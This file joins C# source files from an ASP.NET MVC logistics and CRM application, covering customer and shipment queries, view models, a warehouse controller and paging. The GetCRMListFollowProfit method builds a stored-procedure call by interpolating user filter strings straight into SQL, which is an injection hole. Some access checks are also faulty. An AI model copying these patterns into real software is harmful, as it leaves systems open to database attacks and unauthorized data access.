if (!string.IsNullOrEmpty(filter.Email))
{
qr = qr.Where(x => x.CRMContacts.Any(c => c.Email.Contains(filter.Email) || c.Email2.Contains(filter.Email)));
}
if (!string.IsNullOrEmpty(filter.Phone))
{
qr = qr.Where(x => x.CrmPhone.Contains(filter.Phone) || x.CRMContacts.Any(c => c.Phone.Contains(filter.Phone) || c.Phone2.Contains(filter.Phone)));
}
return qr;
}
public SummaryCustomer Summary(long id, DateTime fromDate, DateTime toDate)
{
var cus = GetById(id);
var result = new SummaryCustomer() { Id = id };
if (cus != null)
{
result.StatusCode = (CRMStatusCode)cus.CRMStatus.Code;
result.SuccessFully = 1;
result.CreatedDate = cus.CreatedDate;
result.ModifyDate = cus.ModifyDate;
result.TotalDocument = cus.CRMCusDocuments.Count;
result.TotalVisitedSuccess = cus.CRMVisits.Count(x => x.IsEventAction == false && x.Status == (byte)CRMEventStatus.Finished);
result.TotalVisited = cus.CRMVisits.Count(x => x.IsEventAction == false);
result.TotalEvent = cus.CRMVisits.Count(x => x.IsEventAction == true);
result.TotalSendEmail = cus.CRMPriceQuotations.Any() ? cus.CRMPriceQuotations.Sum(x => x.CountSendMail) : 0;
result.TotalFirstSendEmail = cus.CRMPriceQuotations.Count(x => x.CountSendMail > 0);
if (cus.SsmCusId.HasValue)
{
result.TotalShippments = Context.Shipments.Count(x => x.ShipperId == cus.SsmCusId || x.CneeId == cus.SsmCusId && x.DateShp <= toDate);
if (result.TotalShippments > 0)
{
var listShipment =
Context.Shipments.Where(x => x.ShipperId == cus.SsmCusId || x.CneeId == cus.SsmCusId)
.ToList();
var sum = listShipment.Where(x => x.Revenue != null && x.Revenue.Earning.HasValue).Sum(x => x.Revenue.Earning.Value);
result.TotalProfit = (decimal)sum;
}
}
if (result.TotalShippments == 0)
result.SuccessFully = 0;
}
return result;
}
public List<SummaryCustomer> SummarysList(User currenUser, PlanFilter filter)
{
var listdb = GetByMonthYear(filter);
return listdb.Select(model => Summary(model.Id, filter.FromDate, filter.ToDate)).ToList();
}
private CRMCustomer ToDbModel(CRMCustomerModel model)
{
var db = new CRMCustomer
{
CompanyName = model.CompanyName,
CompanyShortName = model.CompanyShortName,
CrmAddress = model.CrmAddress,
CrmPhone = model.CrmPhone,
CrmCategoryId = model.CRMJobCategory.Id,
CrmSourceId = model.CRMSource.Id,
CrmGroupId = model.CRMGroup.Id,
CrmProvinceId = model.Province.Id,
SaleTypeId = model.SaleType.Id,
CrmStatusId = model.CRMStatus.Id,
Description = model.Description,
CreatedById = model.CreatedBy.Id,
CreatedDate = DateTime.Now,
CrmDataType = (byte)model.DataType,
SsmCusId = model.SsmCusId,
CustomerType = (byte)model.CustomerType,
};
return db;
}
private void ConvertModel(CRMCustomerModel model, CRMCustomer db)
{
db.CompanyName = model.CompanyName;
db.CompanyShortName = model.CompanyShortName;
db.CrmAddress = model.CrmAddress;
db.CrmPhone = model.CrmPhone;
db.CrmCategoryId = model.CRMJobCategory.Id;
db.CrmSourceId = model.CRMSource.Id;
db.CrmGroupId = model.CRMGroup.Id;
db.CrmProvinceId = 200;
db.SaleTypeId = model.SaleType.Id;
db.ModifyById = model.ModifyBy.Id;
db.ModifyDate = model.ModifyDate;
db.SsmCusId = model.SsmCusId;
db.CrmStatusId = model.CRMStatus.Id;
db.Description = model.Description;
if (model.MoveToId.HasValue && model.MoveToId.Value > 0) return;
db.CreatedById = model.MoveToId;
}
private CRMCustomerModel ToModels(CRMCustomer customer)
{
if (customer == null) return null;
var model = Mapper.Map<CRMCustomerModel>(customer);
if (customer.Province != null)
{
model.CrmCountryId = customer.Province.CountryId;
model.CountryName = customer.Province.Country.CountryName;
model.StateName = customer.Province.Name;
}
model.CRMContacts = new List<CRMContactModel>(customer.CRMContacts.Select(Mapper.Map<CRMContactModel>));
if (customer.CRMFollowCusUsers.Any())
{
model.FollowCusUsers = new List<CRMFollowCusUserModel>(customer.CRMFollowCusUsers.Select(Mapper.Map<CRMFollowCusUserModel>));
}
if (!string.IsNullOrEmpty(model.UserTogheTheFollow))
{
var listId = model.UserTogheTheFollow.Split(';').Where(x => !string.IsNullOrEmpty(x)).Select(long.Parse);
model.UsersFollow = Context.Users.Where(u => listId.Contains(u.Id)).ToList();
}
if (model.CRMStatus != null)
{
model.StatusCode = (CRMStatusCode)model.CRMStatus.Code;
}
model.CreatedBy = customer.User;
model.ModifyBy = customer.User1;
// model.Summary = Summary(model.Id);
return model;
}
public List<SalesTypeSummaryReport> SalesTypeSumaryReport(PlanFilter filter)
{
var qr = GetQuery(x => x.CreatedDate.Year == filter.Year && x.SsmCusId.HasValue);
switch (filter.SummaryByType)
{
case SummaryByType.ByUser:
qr = qr.Where(x => x.CreatedById == filter.Id);
break;
case SummaryByType.ByDeparment:
qr = qr.Where(x => x.User.DeptId == filter.Id);
break;
case SummaryByType.ByOffice:
qr = qr.Where(x => x.User.ComId == filter.Id);
break;
}
var listCust = new List<CustomerSammaryReport>();
foreach (var it in qr.ToList())
{
for (var i = 1; i <= 12; i++)
{
var cus = new CustomerSammaryReport
{
Customer = it,
Month = i,
ShipmentCount =
Context.Shipments.Count(x => (x.ShipperId == it.SsmCusId || x.CneeId == it.SsmCusId) && x.DateShp.Value.Month == i && x.DateShp.Value.Year == filter.Year)
};
listCust.Add(cus);
}
}
var list = listCust.GroupBy(x => x.Customer.SaleType).Select(it => new SalesTypeSummaryReport
{
SaleType = it.Key,
SammaryReports = it.ToList()
}).ToList();
return list;
}
public List<Shipment> GetListShipments(long ssmCusId)
{
var list = Context.Shipments.Where(x => x.ShipperId == ssmCusId || x.CneeId == ssmCusId).OrderByDescending(x => x.DateShp).ToList();
return list;
}
public List<MT81> GetListSalesTrading(long ssmCusId)
{
var list = Context.MT81s.Where(x => x.CustomerID.Value == ssmCusId).ToList();
return list;
}
public List<CRMFilterProfitResult> GetCRMListProfit(CRMFilterProfit filter, User user)
{
var qr = GetQuery(x => x.SsmCusId.HasValue &&
(filter.UserId == 0 || x.CreatedById == filter.UserId) &&
(filter.DeptId == 0 || x.User.DeptId == filter.DeptId) &&
(filter.OfficeId == 0 || x.User.ComId == filter.OfficeId) &&
x.CreatedDate.Date >= filter.BeginDate && x.CreatedDate.Date <= filter.EndDate &&
Context.Shipments.Any(
s => s.CneeId == x.SsmCusId.Value || s.ShipperId == x.SsmCusId.Value)
);
if (!user.IsAdmin() && filter.UserId == 0 && filter.DeptId == 0 && filter.OfficeId == 0)
{
if (user.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == user.Id).Select(x => x.ComId).ToList();
comid.Add(user.Id);
qr = qr.Where(x => comid.Contains(x.User.ComId.Value) && x.IsUserDelete == false);
}
else if (user.IsDepManager())
{
qr = qr.Where(x => x.User.DeptId == user.DeptId && x.IsUserDelete == false);
}
else
{
qr = qr.Where(x => x.CreatedById == user.Id && x.IsUserDelete == false);
}
}
var rs = qr.Select(r => new CRMFilterProfitResult
{
Customer = r,
TotalProfit =
Context.Shipments.Where(s => (s.ShipperId == r.SsmCusId || s.CneeId == r.SsmCusId) && (s.Revenue != null && s.Revenue.Earning.HasValue))
.Sum(x => x.Revenue.Earning ?? 0),
TotalShipment = Context.Shipments.Count(s => s.ShipperId == r.SsmCusId || s.CneeId == r.SsmCusId),
});
if (filter.Top != 0)
{
rs = rs.Take(filter.Top);
}
var result = rs.OrderByDescending(r => r.TotalProfit);
return result.ToList();
}
public List<CrmFilterTopProfitByStore> GetCRMListFollowProfit(CRMFilterFollowProfit filter, User user)
{
var query = $@"exec [dbo].[GetCrmProfitAndQuanty]
@Top ={filter.Top}, @IsLost ={(filter.IsLost ? 1 : 0)},@IsProfit ={(filter.IsProfit ? 1 : 0)}, @DaysOfLost ={filter.DaysOfLost},
@BeginDate ='{filter.BeginDate:yyyy-MM-dd}', @EndDate ='{filter.EndDate:yyyy-MM-dd hh:mm:ss}', @UserId ={filter.UserId}, @DeptId ={filter.DeptId },
@OfficeId ={filter.OfficeId}, @CurrentUserId ={user.Id},
@AgentId ={filter.AgentId}, @Status ={(byte)filter.Status}, @DepartureId ={filter.DepartureId},
@DestinationId ={filter.DestinationId}, @ProCode ='{filter.ProCode}', @ProName ='{filter.ProName}' ";
var qr = Context.ExecuteQuery<CrmFilterTopProfitByStore>(query);
return qr.ToList();
}
public CRMStatusCode SetSatus(long id, out bool isCancel)
{
var cus = GetById(id);
isCancel = false;
CRMStatusCode code = CRMStatusCode.Potential;
if (cus != null)
{
DateTime cancelDate = cus.DateCancel ?? cus.CreatedDate.Date;
DateTime endDate = cancelDate.AddDays(365);
var shipments = GetListShipments(cus.SsmCusId ?? 0).Count;
var lastShipment = Context.Shipments.Where(s => s.CneeId.Value == cus.SsmCusId.Value || s.ShipperId.Value == cus.SsmCusId.Value)
.OrderByDescending(x => x.CreateDate).FirstOrDefault();
if (endDate < DateTime.Today)
{
if (lastShipment != null && lastShipment.CreateDate.Value < cancelDate)
{
isCancel = true;
}
}
if (isCancel)
{
code = CRMStatusCode.Client;
}
else
{
code = shipments >= 1 ? CRMStatusCode.Success : CRMStatusCode.Potential;
}
}
return code;
}
public IEnumerable<CRMFilterProfitResult> GetAllCRMResults(CRMSearchModel fModel, SortField sortField, out int totalRows, int page, int pageSize,
User currenUser, out int totalSeccessCount, out int totalClientCount, out int totalFolowCount)
{
IEnumerable<CRMFilterProfitResult> rs = GetAllSearchNotPaging(fModel, sortField, currenUser, out totalRows);
var data = rs;
var allrs = rs;//.ToList();
totalSeccessCount = allrs.Count(x => x.AnyShipmentOld == false && x.TotalShipmentSuccess >= 1);
totalClientCount = allrs.Count(x => x.AnyShipmentOld);
totalFolowCount = allrs.Count(x => x.AnyShipmentOld == false && x.TotalShipment == 0);
var skip = (page - 1) * pageSize;
return data.Skip(skip).Take(pageSize).ToList();
}
public IEnumerable<CRMFilterProfitResult> GetAllSearchNotPaging(CRMSearchModel fModel, SortField sortField, User currenUser, out int totalRows)
{
fModel = fModel ?? new CRMSearchModel();
fModel.SaleType = fModel.SaleType ?? new SaleType();
fModel.CrmGroup = fModel.CrmGroup ?? new CRMGroup();
fModel.CRMSource = fModel.CRMSource ?? new CRMSource();
fModel.JobCategory = fModel.JobCategory ?? new CRMJobCategory();
fModel.Province = fModel.Province ?? new Province();
totalRows = 0;
var qr = GetQuyryCustomers(fModel, currenUser);
totalRows = qr.Count();
qr = qr.OrderBy(sortField);
IQueryable<CRMFilterProfitResult> rs;
if (fModel.PeriodDate == PeriodDate.CreateDate)
{
rs = qr.Select(r => new CRMFilterProfitResult
{
Customer = r,
TotalShipmentSuccess = Context.Shipments.Count(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp >= fModel.FromDate && s.DateShp <= fModel.ToDate),
TotalShipment = Context.Shipments.Count(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp <= fModel.ToDate),
AnyShipmentOld = Context.Shipments.Any(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp < fModel.FromDate),
TotalQuotation = r.CRMPriceQuotations.Any() ? r.CRMPriceQuotations.Sum(xq => xq.CountSendMail) : 0,
TotalVisit = r.CRMVisits.Count(x => x.IsEventAction == false),
TotalEvent = r.CRMVisits.Count(x => x.IsEventAction == true),
FollowName = string.Join("; ", r.CRMFollowCusUsers.Select(f => f.User.FullName)),
Status = r.CRMStatus,
CreaterdBy = r.User,
Source = r.CRMSource.Name,
SaleType = r.SaleType.Name
});
}
else
{
rs = qr.Select(r => new CRMFilterProfitResult
{
Customer = r,
TotalShipmentSuccess = Context.Shipments.Count(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp >= r.CreatedDate && s.DateShp <= fModel.ToDate),
TotalShipment = Context.Shipments.Count(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp <= fModel.ToDate),
AnyShipmentOld = Context.Shipments.Any(s => (s.CneeId.Value == r.SsmCusId.Value || s.ShipperId.Value == r.SsmCusId.Value) && s.DateShp < r.CreatedDate),
TotalQuotation = r.CRMPriceQuotations.Any() ? r.CRMPriceQuotations.Sum(xq => xq.CountSendMail) : 0,
TotalVisit = r.CRMVisits.Count(x => x.IsEventAction == false),
TotalEvent = r.CRMVisits.Count(x => x.IsEventAction == true),
FollowName = string.Join(";", r.CRMFollowCusUsers.Select(f => f.User.FullName)),
Status = r.CRMStatus,
CreaterdBy = r.User,
Source = r.CRMSource.Name,
SaleType = r.SaleType.Name
});
}
switch (fModel.CRMStatus)
{
case CRMStatusCode.Success:
rs = rs.Where(x => x.AnyShipmentOld == false && x.TotalShipmentSuccess >= 1);
break;
case CRMStatusCode.Potential:
rs = rs.Where(x => x.AnyShipmentOld == false && x.TotalShipment == 0);
break;
case CRMStatusCode.Client:
rs = rs.Where(x => x.AnyShipmentOld);
break;
}
return rs;
}
}
}<file_sep>namespace SSM.ViewModels
{
public class ShowQtyPending
{
public string VoucherNo { get; set; }
public decimal Quantity{ get; set; }
public string SaffName { get; set; }
}
}<file_sep>using System.Web;
using System.Web.Optimization;
namespace SSM
{
public class BundleConfig
{
// For more information on Bundling, visit http://go.microsoft.com/fwlink/?LinkId=254725
public static void RegisterBundles(BundleCollection bundles)
{
bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
"~/Scripts/jquery-{version}.js",
"~/Scripts/jquery-confirm.js",
"~/Scripts/jquery-cookie.js",
"~/Scripts/jquery.unobtrusive*",
"~/Scripts/jquery.unobtrusive*",
"~/Scripts/bootstrap.js"
));
bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include(
"~/Scripts/jquery-ui-{version}.js",
"~/Scripts/jquery.resizableColumns.min.js"
));
bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include(
"~/Scripts/validation.js",
"~/Scripts/jquery.form.js",
"~/Scripts/jquery.validate*"));
bundles.Add(new ScriptBundle("~/bundles/SCFListPagingJs").Include(
"~/Scripts/listScript.js"
));
bundles.Add(new ScriptBundle("~/bundles/CRMJS").Include(
"~/Scripts/CRMScript.js"
));
bundles.Add(new ScriptBundle("~/bundles/SCFJs").Include(
// "~/Scripts/jquery.unobtrusive-ajax.min.js",
"~/Content/ckeditor/ckeditor.js",
"~/Scripts/jquery-mousewheel.js",
"~/Scripts/AjaxGlobalHandler.js",
"~/Scripts/jquery.number.js",
"~/Scripts/autoNumeric.js",
"~/Scripts/mbqScript.js",
"~/Scripts/j-select.js",
"~/Scripts/-select.external.js",
"~/Scripts/main.js",
"~/Scripts/utils.js",
"~/Scripts/global.js",
"~/Scripts/top-nav-bar.js",
"~/Scripts/main-nav-bar.js",
"~/Scripts/homepage.js",
"~/Scripts/prototype.js",
"~/Scripts/ui.datetimepicker.js",
"~/Scripts/jquery.timepicker.js",
"~/Scripts/calendar-time-custom.js",
"~/Scripts/date-validator.js"));
bundles.Add(new ScriptBundle("~/bundles/SCFJsInfo").Include(
"~/Scripts/uploadeRendFile.js"
));
bundles.Add(new StyleBundle("~/Content/info").Include(
"~/Content/style.css",
"~/Content/style_info.css"
));
bundles.Add(new StyleBundle("~/Content/CRM").Include(
"~/Content/CrmStyleSheet.css"
));
bundles.Add(new StyleBundle("~/Content/SCFCss").Include(
"~/Content/bootstrap.css",
"~/Content/bootstrap-theme.cs",
"~/Content/font-awesome.css",
"~/Content/themes/base/all.css",
"~/Content/global.css",
"~/Content/jquery-confirm.css",
"~/Content/top-nav-bar.css",
"~/Content/main-nav-bar.css",
"~/Content/homepage.css",
"~/Content/section-block.css",
"~/Content/footer-bar.css",
"~/Content/Shipment.css",
"~/Content/Freights.css",
"~/Content/jquery.timepicker.css",
"~/Content/BookingConfirm.css",
"~/Content/CustomStyle.css",
"~/Content/site.css"));
bundles.Add(new StyleBundle("~/Content/SCFCPrintss").Include(
"~/Content/global.css",
"~/Content/top-nav-bar.css",
"~/Content/main-nav-bar.css",
"~/Content/homepage.css",
"~/Content/section-block.css",
"~/Content/footer-bar.css",
"~/Content/themes/base/jquery-ui.css",
"~/Content/Shipment.css",
"~/Content/site.css"));
}
}
}<file_sep>using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Web;
using SSM.Models;
using SSM.Models.CRM;
namespace SSM.ViewModels
{
public class EmailModel
{
[Required(ErrorMessage = "{0} không được để trống!")]
[Display(Name = "Tiêu đề mail")]
public string Subject { get; set; }
[Required(ErrorMessage = "{0} không được để trống!")]
[Display(Name = "Nội dung")]
public string Message { get; set; }
[Display(Name = "File đính kèm")]
public List<HttpPostedFileBase> Uploads { get; set; }
[Required(ErrorMessage = "{0} không được để trống!")]
[Display(Name = "Gửi tới")]
public string EmailTo { get; set; }
public string EmailCc { get; set; }
public User User { get; set; }
public long IdRef { get; set; }
public bool IsUserSend { get; set; }
}
public enum NotificationType
{
Success,
Error,
Warning
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using SSM.Common;
using SSM.Models;
using SSM.ViewModels.Shared;
namespace SSM.Services
{
public interface ICustomerServices : IServices<Customer>
{
Customer GetById(long id);
CustomerModel GetModelById(long id);
IEnumerable<Customer> GetAll(Customer customer, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User user);
Customer InsertCustomer(CustomerModel model);
bool UpdateCustomer(CustomerModel model);
bool DeleteCustomer(long id);
}
public class CustomerServices : Services<Customer>, ICustomerServices
{
public Customer GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public CustomerModel GetModelById(long id)
{
return ConvertCustomer(GetById(id));
}
public IEnumerable<Customer> GetAll(Customer customer, SSM.Services.SortField sortField, out int totalRows, int page, int pageSize, User user)
{
customer = customer ?? new Customer();
var qr = GetQuery(x =>
(string.IsNullOrEmpty(customer.CompanyName) || x.CompanyName.Contains(customer.CompanyName))
&& (string.IsNullOrEmpty(customer.FullName) || x.FullName.Contains(customer.FullName))
&& (string.IsNullOrEmpty(customer.Address) || x.Address.Contains(customer.Address))
&& (string.IsNullOrEmpty(customer.CustomerType) || x.CustomerType.Equals(customer.CustomerType))
);
if (!user.IsAdmin())
{
qr = qr.Where(x => x.IsHideUser == false);
}
qr = qr.OrderBy(sortField);
totalRows = qr.Count();
var list = GetListPager(qr, page, pageSize);
return list;
}
public Customer InsertCustomer(CustomerModel model)
{
try
{
var customer = ConvertCustomer(model);
var nCus = (Customer)Insert(customer);
return nCus;
}
catch (Exception ex)
{
Logger.LogError(ex);
return null;
}
}
public bool UpdateCustomer(CustomerModel model)
{
try
{
var customer = GetById(model.Id);
ConvertCustomer(model, customer);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
return false;
}
}
public bool DeleteCustomer(long id)
{
try
{
var customer = GetById(id);
Delete(customer);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex);
return false;
}
}
private CustomerModel ConvertCustomer(Customer customer)
{
var model = new CustomerModel
{
Id = customer.Id,
Address = customer.Address,
CompanyName = customer.CompanyName,
Description = customer.Description,
Email = customer.Email,
Fax = customer.Fax,
FullName = customer.FullName,
PhoneNumber = customer.PhoneNumber,
Type = customer.CustomerType,
UserId = customer.UserId == null ? 0 : customer.UserId.Value,
IsSee = customer.IsSee,
IsMove = customer.IsMove,
CrmCusId = customer.CrmCusId == null ? 0: customer.CrmCusId.Value,
MovedByUser = customer.User1,
MovedUserId = customer.MovedBy ?? 0
};
return model;
}
private Customer ConvertCustomer(CustomerModel customer)
{
var dbCus = new Customer
{
Address = customer.Address,
CompanyName = customer.CompanyName,
Description = customer.Description,
Email = customer.Email,
Fax = customer.Fax,
FullName = customer.FullName,
PhoneNumber = customer.PhoneNumber,
CustomerType = customer.Type,
UserId = customer.UserId,
IsSee = customer.IsSee,
IsMove = customer.IsMove,
CrmCusId = customer.CrmCusId,
MovedBy = customer.MovedUserId
};
if (customer.CrmCusId > 0)
{
dbCus.CrmCusId = customer.CrmCusId;
}
return dbCus;
}
private void ConvertCustomer(CustomerModel model, Customer customer)
{
customer.Address = model.Address;
customer.CompanyName = model.CompanyName;
customer.Description = model.Description;
customer.Email = model.Email;
customer.Fax = model.Fax;
customer.FullName = model.FullName;
customer.PhoneNumber = model.PhoneNumber;
customer.CustomerType = model.Type;
customer.IsMove = model.IsMove;
customer.IsSee = model.IsSee;
customer.CrmCusId = model.CrmCusId;
customer.MovedBy = model.MovedUserId == 0 ? (long?)null : model.MovedUserId;
if (customer.CrmCusId > 0)
{
customer.CrmCusId = model.CrmCusId;
}
}
}
}<file_sep>using System.ComponentModel.DataAnnotations;
namespace SSM.Models.CRM
{
public class CRMContactModel
{
public int Id { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
[Display(Name = "<NAME>")]
public string FullName { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
public string Phone { get; set; }
public string Phone2 { get; set; }
[Required(ErrorMessage = "{0} không được để trống")]
public string Email { get; set; }
public string Email2 { get; set; }
public long CmrCustomerId { get; set; }
public CRMCustomer CRMCustomer { get; set; }
public int Order { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Models;
using SSM.Models.CRM;
using SSM.ViewModels.Shared;
namespace SSM.Services.CRM
{
public interface ICRMEventService : IServices<CRMVisit>
{
CRMEventModel GetById(long id);
CRMVisit GetDbById(long id);
IEnumerable<CRMEventModel> GetByCusIds(long cusId);
CRMVisit InsertToDb(CRMEventModel model);
void UpdateToDb(CRMEventModel model);
void DeleteToDb(long id);
IEnumerable<CRMEventModel> GetAll(SortField sortField, out int totalRows, Pager pager, long cusId, bool isEventAction, User currenUser);
CRMEventModel ToModel(CRMVisit visit);
}
public class CRMEventService : Services<CRMVisit>, ICRMEventService
{
public CRMEventModel GetById(long id)
{
var db = GetDbById(id);
return ToModel(db);
}
public CRMVisit GetDbById(long id)
{
return FindEntity(x => x.Id == id);
}
public IEnumerable<CRMEventModel> GetByCusIds(long cusId)
{
var list = GetQuery(x => x.CrmCusId == cusId).OrderBy(x => x.Subject).AsEnumerable();
return list.Select(x=>ToModel(x));
}
public CRMVisit InsertToDb(CRMEventModel model)
{
var db = ToDb(model);
return (CRMVisit)Insert(db);
}
public void UpdateToDb(CRMEventModel model)
{
var db = GetDbById(model.Id);
ConvertToDb(model, db);
Commited();
}
public void DeleteToDb(long id)
{
var db = GetDbById(id);
Delete(db);
}
public IEnumerable<CRMEventModel> GetAll(SortField sortField, out int totalRows, Pager pager, long cusId, bool isEventAction, User currenUser)
{
var qr = GetQuery(x => (cusId == 0 || x.CrmCusId == cusId) && x.IsEventAction == isEventAction);
if ((!currenUser.IsAdmin() || !currenUser.IsAccountant()))
{
if (currenUser.IsDirecter())
{
var comid = Context.ControlCompanies.Where(x => x.UserId == currenUser.Id).Select(x => x.ComId).ToList();
comid.Add(currenUser.Id);
qr = qr.Where(x => comid.Contains(x.User.ComId.Value));
}
else if (currenUser.IsDepManager())
{
qr = qr.Where(x => x.User.DeptId == currenUser.DeptId ||
(x.CRMCustomer.CRMFollowCusUsers != null && x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
else
{
qr = qr.Where(x => x.CreatedById == currenUser.Id ||
(x.CRMCustomer.CRMFollowCusUsers != null && x.CRMCustomer.CRMFollowCusUsers.Any(f => f.UserId == currenUser.Id)) ||
(x.CRMCustomer.CreatedById == currenUser.Id));
}
}
qr = qr.OrderBy(sortField);
totalRows = qr.Count();
var list = GetListPager(qr, pager.CurrentPage, pager.PageSize);
return list.Select(ToModel);
}
public CRMEventModel ToModel(CRMVisit visit)
{
if (visit == null) return null;
var model = Mapper.Map<CRMEventModel>(visit);
model.CusName = visit.CRMCustomer.CompanyShortName;
if (visit.CRMEventType != null)
{
model.CRMEventType = visit.CRMEventType;
}
else
{
model.CRMEventType = new CRMEventType();
}
if (visit.CRMFollowEventUsers != null)
{
model.UsersFollow = Context.CRMFollowEventUsers.Where(x=>x.VisitId==visit.Id).ToList();
model.UserFollowNames = visit.CRMFollowEventUsers.Aggregate("",
(current, u) => current + (u.User.FullName + ";"));
}
else
{
model.UsersFollow = new List<CRMFollowEventUser>();
}
return model;
}
private CRMVisit ToDb(CRMEventModel model)
{
var db = new CRMVisit()
{
AllowAdd = model.AllowAdd,
AllowEdit = model.AllowEdit,
AllowViewList = model.AllowViewList,
CrmCusId = model.CrmCusId,
IsEventAction = model.IsEventAction,
IsSchedule = model.IsSchedule,
CreatedDate = DateTime.Now,
DateEvent = model.DateEvent,
DateBegin = model.DateBegin,
DateEnd = model.DateEnd,
Description = model.Description,
EventTypeId = model.EventTypeId,
Status = (byte)model.Status,
CreatedById = model.CreatedBy.Id,
TimeOfRemider = model.TimeOfRemider,
DayWeekOfRemider = model.DayWeekOfRemider,
Subject = model.Subject
};
return db;
}
private void ConvertToDb(CRMEventModel model, CRMVisit db)
{
db.AllowAdd = model.AllowAdd;
db.AllowEdit = model.AllowEdit;
db.AllowViewList = model.AllowViewList;
db.IsSchedule = model.IsSchedule;
db.DateEvent = model.DateEvent;
db.DateBegin = model.DateBegin;
db.DateEnd = model.DateEnd;
db.Subject = model.Subject;
db.Description = model.Description;
db.EventTypeId = model.EventTypeId;
db.Status = (byte)model.Status;
db.ModifiedById = model.ModifiedBy.Id;
db.ModifiedDate = DateTime.Now;
db.DayWeekOfRemider = model.DayWeekOfRemider;
db.TimeOfRemider = model.TimeOfRemider;
}
}
}<file_sep>using System.Collections.Generic;
using SSM.Models;
namespace SSM.ViewModels
{
public class SummaryInventoryViewModel
{
public IssueVoucherModel IssueVoucher { get; set; }
public List<MonthYear> Summary { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Mvc.Async;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class WarehouseController : Controller
{
private User currentUser;
private IWarehouseSevices warehouseSevices;
private GridNew<Warehouse, WareHouseModel> warehouseGird;
private IAreaService areaService;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
currentUser = (User)Session[AccountController.USER_SESSION_ID];
warehouseSevices = new WareHouseServices();
areaService = new AreaService();
ViewData["location"] = new SelectList(areaService.GetAll(x => x.trading_yn.Value == true), "Id", "AreaAddress");
}
public ActionResult Index()
{
warehouseGird = new GridNew<Warehouse, WareHouseModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
});
UpdateGrid();
return View(warehouseGird);
}
[HttpPost]
public ActionResult Index( GridNew<Warehouse, WareHouseModel> grid)
{
warehouseGird = grid;
warehouseGird.ProcessAction();
warehouseGird.Model = new WareHouseModel();
UpdateGrid();
return PartialView("_ListData",warehouseGird);
}
private void UpdateGrid()
{
int Skip = (warehouseGird.Pager.CurrentPage - 1) * warehouseGird.Pager.PageSize;
int Take = warehouseGird.Pager.PageSize;
var warehouseList = warehouseSevices.GetAll();
int totalRows = warehouseList.Count();
warehouseGird.Pager.Init(totalRows);
if (totalRows == 0)
{
warehouseGird.Data = new List<Warehouse>();
return;
}
warehouseList = warehouseList.AsQueryable().Skip(Skip).Take(Take).ToList();
warehouseGird.Data = warehouseList;
}
public ActionResult Edit(int id)
{
var model = warehouseSevices.GetWareHouseModel(id);
model = model ?? new WareHouseModel();
return PartialView("_formEditView", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(WareHouseModel model)
{
if (ModelState.IsValid)
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
model.ModifiedBy = currentUser.Id;
model.DateModify = DateTime.Now;
warehouseSevices.UpdateWareHouse(model);
}
else
{
model.CreatedBy = currentUser.Id;
model.DateCreate = DateTime.Now;
warehouseSevices.InsertWareHouse(model);
}
}
return Json(1);
}
return PartialView("_formEditView", model);
}
public ActionResult Delete(long id)
{
warehouseSevices.DeleteWareHouse(id);
return RedirectToAction("Index", new { id = 0 });
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Models;
namespace SSM.Views.Shared
{
public partial class TopNarBarUC : ViewUserControl<UsersModel>
{
protected void Page_Load(object sender, EventArgs e)
{
Table1.Visible = false;
UsersModel model1 = (UsersModel) Model;
System.Console.Out.WriteLine("User Name = >>>>>" + model1.UserName);
}
}
}<file_sep>namespace SSM.ViewModels
{
public class StockRecevingDiagloModel
{
public long Id { get; set; }
public string Display { get; set; }
public string Other { get; set; }
public string DbMode { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Web;
using SSM.Common;
namespace SSM.ViewModels.Shared
{
public class Pager
{
private string _sidx;
private string _sord;
private int _currentPage;
private int _pageSize;
private int _totalRows;
private bool _isVisible;
private bool _isNavVisible;
private string _rowStats;
private int _totalPages;
private int _firstPage;
private int _lastPage;
private bool _isFirstPage;
private bool _isLastPage;
private int _nextPage;
private int _previousPage;
public String Sidx {
get { return _sidx; }
set { _sidx = value; }
}
public String Sord {
get { return _sord; }
set { _sord = value; }
}
//Properties
public int CurrentPage
{
get { return _currentPage;}
set { _currentPage = value;}
}
public int PageSize
{
get { return _pageSize;}
set { _pageSize = value;}
}
public int TotalRows
{
get { return _totalRows; }
set { _totalRows = value; }
}
public bool IsVisible
{
get { return _isVisible; }
}
public bool IsNavVisible
{
get { return _isNavVisible; }
}
public string RowStats
{
get { return _rowStats; }
}
public int TotalPages
{
get { return _totalPages; }
}
public int FirstPage
{
get { return _firstPage; }
}
public int LastPage
{
get { return _lastPage; }
}
public bool IsFirstPage
{
get { return _isFirstPage; }
}
